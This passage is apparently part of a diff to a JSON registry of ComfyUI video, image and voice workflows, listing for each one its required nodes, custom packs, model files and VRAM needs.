+ "video-inpaint-wan-vace-painted": {"core":["CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","CreateVideo","GetImageSize","GetVideoComponents","GrowMask","ImageCompositeMasked","ImageFromBatch","ImageScale","ImageToMask","InvertMask","KSampler","LoadImageMask","LoadVideo","LoraLoaderModelOnly","MaskToImage","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SAM3_TrackToMask","SAM3_VideoTrack","SaveImage","SaveVideo","TrimAudioDuration","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","Video Slice","WanVaceToVideo"],"packs":{"ComfyUI-KJNodes":["GrowMaskWithBlur"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/wan2.1_vace_14B_fp16.safetensors","loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-insert-wan-vace": {"core":["CLIPLoader","CLIPTextEncode","ComfyMathExpression","CreateVideo","GetImageSize","GetVideoComponents","GrowMask","ImageCompositeMasked","ImageFromBatch","ImageScale","ImageToMask","InvertMask","KSampler","LoadImage","LoadImageMask","LoadVideo","LoraLoaderModelOnly","MaskToImage","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","RepeatImageBatch","SaveVideo","TrimAudioDuration","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","Video Slice","WanVaceToVideo"],"packs":{"ComfyUI-KJNodes":["GrowMaskWithBlur"]},"files":["diffusion_models/wan2.1_vace_14B_fp16.safetensors","loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-mask-h3-relay": {"core":["CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","GetImageSize","GetVideoComponents","ImageBatch","ImageFromBatch","ImageScale","LoadVideo","MaskToImage","SAM3_Detect","SAM3_TrackToMask","SAM3_VideoTrack","SaveVideo","Video Slice"],"packs":{"h3-relay":["H3RelayPrepareSource","H3RelayRecoverMasks","H3RelaySelectMask"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors"],"optional":[],"vramGb":6,"isolated":false,"firstRun":[],"validated":false},
+ "video-mux-audio": {"core":["AudioAdjustVolume","AudioMerge","ConcatenateVideo","EmptyAudio","LoadAudio","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-mux-audio-replace": {"core":["ConcatenateVideo","LoadAudio","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-person-remove-h3-relay": {"core":["BasicScheduler","CFGGuider","CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","CreateVideo","EmptyImage","EndLoop","GetImageSize","GetVideoComponents","GrowMask","ImageCompositeMasked","ImageFromBatch","ImageScale","KSamplerSelect","LTXVSeparateAVLatent","LoadImage","LoadVideo","LoraLoaderModelOnly","MiniMaxH3AddGuide","MiniMaxH3ReferenceToVideo","MiniMaxH3SigmaShift","ModelAttentionBackend","RandomNoise","SAM3_Detect","SAM3_TrackToMask","SAM3_VideoTrack","SamplerCustomAdvanced","SaveVideo","SelectCLIPDevice","StartLoop","ThresholdMask","UNETLoader","VAEDecode","VAEDecodeAudio","VAELoader"],"packs":{"h3-relay":["H3RelayAppendWindow","H3RelayApplyHistory","H3RelayFinishWindows","H3RelayReviewWindows","H3RelaySamplingMemory","H3RelayTextMemory","H3RelayWindowInputs","H3RelayWindowPlan"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/minimax_h3_ref2va_pruned_int8_convrot.safetensors","loras/H3-Person-Remover-V1.safetensors","text_encoders/qwen3vl_32b_minimax_h3_nvfp4_awq.safetensors","vae/minimax_h3_audio_vae_fp32.safetensors","vae/minimax_h3_video_vae_fp16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":false},
+ "video-reframe-wan22-fun-vace": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","GetVideoComponents","KSamplerAdvanced","LoadVideo","LoraLoaderModelOnly","ModelSamplingSD3","SaveVideo","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","WanVaceToVideo"],"packs":{"ComfyUI-KJNodes":["ImageResizeKJv2"]},"files":["diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-relight-bernini-r": {"core":["BasicScheduler","BerniniConditioning","CLIPLoader","CLIPTextEncode","CreateVideo","GetVideoComponents","KSamplerSelect","LoadVideo","LoraLoaderModelOnly","SamplerCustom","SaveVideo","SplitSigmas","StringConcatenate","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/wan2.2_bernini_r_high_noise_fp8_scaled.safetensors","diffusion_models/wan2.2_bernini_r_low_noise_fp8_scaled.safetensors","loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-restyle-wan22-fun-vace": {"core":["BatchImagesNode","CLIPLoader","CLIPTextEncode","ComfyMathExpression","CreateVideo","DA3Inference","DA3Render","GetVideoComponents","ImageFromBatch","ImageScale","ImageToMask","KSamplerAdvanced","LoadDA3Model","LoadImage","LoadVideo","LoraLoaderModelOnly","MaskToImage","ModelSamplingSD3","PrimitiveInt","RepeatImageBatch","SaveVideo","SolidMask","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","WanVaceToVideo"],"packs":{},"files":["diffusion_models/wan2.2_fun_vace_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_fun_vace_low_noise_14B_fp8_scaled.safetensors","geometry_estimation/depth_anything_3_mono_large.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-sdr-to-hdr": {"core":["CreateVideo","GetVideoComponents","ImageSDRToHDR","LoadVideo","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-sdr-to-hdr-exr": {"core":["CreateVideo","GetVideoComponents","ImageSDRToHDR","LoadVideo","SaveImageAdvanced","SaveVideo"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-segment-resample": {"core":["CreateVideo","ImageFromBatch","ImageScale","SaveImage","SaveVideo"],"packs":{"ComfyUI-VideoHelperSuite":["VHS_LoadVideo"]},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "video-swap-wan-vace": {"core":["CLIPLoader","CLIPTextEncode","CheckpointLoaderSimple","ComfyMathExpression","CreateVideo","GetImageSize","GetVideoComponents","GrowMask","ImageCompositeMasked","ImageFromBatch","ImageScale","ImageToMask","InvertMask","KSampler","LoadImage","LoadVideo","LoraLoaderModelOnly","MaskToImage","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SAM3_TrackToMask","SAM3_VideoTrack","SaveVideo","TrimAudioDuration","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","Video Slice","WanVaceToVideo"],"packs":{"ComfyUI-KJNodes":["GrowMaskWithBlur"]},"files":["checkpoints/sam3.1_multiplex_fp16.safetensors","diffusion_models/wan2.1_vace_14B_fp16.safetensors","loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "video-trim": {"core":["LoadVideo","SaveVideo","Video Slice"],"packs":{},"files":[],"optional":[],"vramGb":0,"isolated":false,"firstRun":[],"validated":true},
+ "voice-change-chatterbox": {"core":["ComfyMathExpression","LoadAudio","PrimitiveInt","SaveAudioMP3"],"packs":{"ComfyUI_Fill-ChatterBox":["FL_ChatterboxVC"]},"files":[],"optional":[],"vramGb":3,"isolated":false,"firstRun":["FL_ChatterboxVC downloads ResembleAI/chatterbox s3gen.pt (1.06 GB) + conds.pt into models/chatterbox/chatterbox_vc on first run"],"validated":true},
+ "wan-animate2": {"core":["BasicScheduler","CLIPLoader","CLIPTextEncode","CLIPVisionEncode","CLIPVisionLoader","ComfyMathExpression","ComfySwitchNode","CreateList","CreateVideo","EndLoop","GetImageSize","GetItemFromList","GetVideoComponents","ImageFromBatch","KSamplerSelect","LoadImage","LoadVideo","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveInt","RebatchImages","ResizeImageMaskNode","SamplerCustom","SaveVideo","StartLoop","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","WanAnimate2Cache","WanAnimate2ToVideo"],"packs":{},"files":["clip_vision/clip_vision_h.safetensors","diffusion_models/wan_animate_2_int8_convrot.safetensors","loras/lightx2v_I2V_14B_480p_cfg_step_distill_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/Wan2_1_VAE_bf16.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan21-vace-14b-ref2v": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSampler","LoadImage","LoraLoader","ModelSamplingSD3","SaveVideo","TrimVideoLatent","UNETLoader","VAEDecode","VAELoader","WanVaceToVideo"],"packs":{},"files":["diffusion_models/wan2.1_vace_14B_fp16.safetensors","loras/lightx2v_T2V_14B_cfg_step_distill_v2_lora_rank64_bf16.safetensors","text_encoders/umt5_xxl_fp16.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":32,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-flf2v-14b": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSamplerAdvanced","LoadImage","ModelSamplingSD3","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanFirstLastFrameToVideo"],"packs":{},"files":["diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-fun-camera-14b": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSamplerAdvanced","LoadImage","ModelSamplingSD3","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanCameraEmbedding","WanCameraImageToVideo"],"packs":{},"files":["diffusion_models/wan2.2_fun_camera_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_fun_camera_low_noise_14B_fp8_scaled.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-fun-control-14b": {"core":["CLIPLoader","CLIPTextEncode","Canny","CreateVideo","GetVideoComponents","KSamplerAdvanced","LoadImage","LoadVideo","ModelSamplingSD3","SaveVideo","UNETLoader","VAEDecode","VAELoader","Wan22FunControlToVideo"],"packs":{},"files":["diffusion_models/wan2.2_fun_control_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_fun_control_low_noise_14B_fp8_scaled.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-i2v-14b": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSamplerAdvanced","LoadImage","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanImageToVideo"],"packs":{},"files":["diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-i2v-14b-lightx2v": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSamplerAdvanced","LoadImage","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanImageToVideo"],"packs":{},"files":["diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","loras/wan2.2_i2v_lightx2v_4steps_lora_v1_high_noise.safetensors","loras/wan2.2_i2v_lightx2v_4steps_lora_v1_low_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-i2v-14b-lora": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSamplerAdvanced","LoadImage","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanImageToVideo"],"packs":{},"files":["diffusion_models/wan2.2_i2v_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_i2v_low_noise_14B_fp8_scaled.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-s2v-14b": {"core":["AudioEncoderEncode","AudioEncoderLoader","CLIPLoader","CLIPTextEncode","CreateVideo","ImageFromBatch","KSampler","LatentConcat","LatentCut","LoadAudio","LoadImage","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","UNETLoader","VAEDecode","VAELoader","WanSoundImageToVideo","WanSoundImageToVideoExtend"],"packs":{},"files":["audio_encoders/wav2vec2_large_english_fp16.safetensors","diffusion_models/wan2.2_s2v_14B_fp8_scaled.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-t2v-14b": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","EmptyHunyuanLatentVideo","KSamplerAdvanced","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-t2v-14b-lightx2v": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","EmptyHunyuanLatentVideo","KSamplerAdvanced","LoraLoaderModelOnly","ModelSamplingSD3","PrimitiveFloat","PrimitiveInt","SaveVideo","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/wan2.2_t2v_high_noise_14B_fp8_scaled.safetensors","diffusion_models/wan2.2_t2v_low_noise_14B_fp8_scaled.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_high_noise.safetensors","loras/wan2.2_t2v_lightx2v_4steps_lora_v1.1_low_noise.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan_2.1_vae.safetensors"],"optional":[],"vramGb":24,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-ti2v-5b": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSampler","ModelSamplingSD3","SaveVideo","UNETLoader","VAEDecode","VAELoader","Wan22ImageToVideoLatent"],"packs":{},"files":["diffusion_models/wan2.2_ti2v_5B_fp16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan2.2_vae.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true},
+ "wan22-ti2v-5b-i2v": {"core":["CLIPLoader","CLIPTextEncode","CreateVideo","KSampler","LoadImage","ModelSamplingSD3","SaveVideo","UNETLoader","VAEDecode","VAELoader","Wan22ImageToVideoLatent"],"packs":{},"files":["diffusion_models/wan2.2_ti2v_5B_fp16.safetensors","text_encoders/umt5_xxl_fp8_e4m3fn_scaled.safetensors","vae/wan2.2_vae.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true},
+ "z-image-turbo-i2i": {"core":["CLIPLoader","CLIPTextEncode","ConditioningZeroOut","ImageScaleToTotalPixels","KSampler","LoadImage","ModelSamplingAuraFlow","SaveImage","UNETLoader","VAEDecode","VAEEncode","VAELoader"],"packs":{},"files":["diffusion_models/z_image_turbo_bf16.safetensors","text_encoders/qwen_3_4b.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true},
+ "z-image-turbo-t2i": {"core":["CLIPLoader","CLIPTextEncode","ConditioningZeroOut","EmptySD3LatentImage","KSampler","ModelSamplingAuraFlow","SaveImage","UNETLoader","VAEDecode","VAELoader"],"packs":{},"files":["diffusion_models/z_image_turbo_bf16.safetensors","text_encoders/qwen_3_4b.safetensors","vae/ae.safetensors"],"optional":[],"vramGb":12,"isolated":false,"firstRun":[],"validated":true}
+ }
+}